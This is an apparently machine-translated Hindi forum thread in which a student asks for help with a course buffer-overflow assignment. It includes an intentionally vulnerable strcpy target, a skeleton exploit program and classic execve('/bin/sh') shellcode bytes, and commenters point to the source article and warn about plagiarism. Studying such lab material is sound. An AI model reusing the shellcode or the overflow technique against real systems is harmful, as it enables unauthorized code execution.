मैं अपने कंप विज्ञान वर्गों में से किसी एक के लिए इस समस्या को समझने की कोशिश कर रहा हूं, मैंने हर संसाधन का उपयोग किया है और अभी भी समस्याएं हैं, अगर कोई अंतर्दृष्टि प्रदान कर सकता है, तो मैं इसकी सराहना करता हूं।जानबूझकर बफर ओवरफ्लो शोषण कार्यक्रम
मेरे पास यह "लक्ष्य" है जिसे मुझे बफर ओवरफ़्लो शोषण के साथ निष्पादित करने ("/ bin/sh") निष्पादित करने की आवश्यकता है। बफ [128] के अतिप्रवाह में, असुरक्षित कमांड strcpy निष्पादित करते समय, बफर में वापस एक पॉइंटर उस स्थान पर दिखाई देता है जहां सिस्टम वापसी पता ढूंढने की अपेक्षा करता है।
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
मैं समझता हूँ कि मैं [1] 128 से अधिक बाइट के साथ argv भरने की जरूरत है, 128 से अधिक बाइट वापसी का पता है, जिसे बफर पर वापस इंगित किया जाना चाहिए ताकि यह भीतर/bin/sh को निष्पादित कर सके। क्या यह अभी तक सही है? क्या कोई अगला कदम प्रदान कर सकता है?
किसी भी मदद के लिए बहुत बहुत धन्यवाद।
एक स्टैक ओवरफ़्लो और बफर ओवरफ़्लो दो अलग-अलग चीजें हैं। – BoltClock
यह आपके सिस्टम (कंपाइलर, सीपीयू इत्यादि) पर अत्यधिक निर्भर है, और आपने इनमें से किसी भी को निर्दिष्ट करने के लिए परेशान नहीं किया है। –
मैं मदद नहीं कर सका लेकिन ध्यान दें कि आपका शेल कोड उस [यहां] की एक सटीक प्रति है (http://insecure.org/stf/smashstack.html)। आपको शायद इस लेख के माध्यम से पढ़ना चाहिए, और समझना चाहिए कि क्या हो रहा है ताकि आप अपना स्वयं का कार्यान्वयन कर सकें। विश्वविद्यालय में चोरी चोरी गंभीर चीजें हैं। – Paul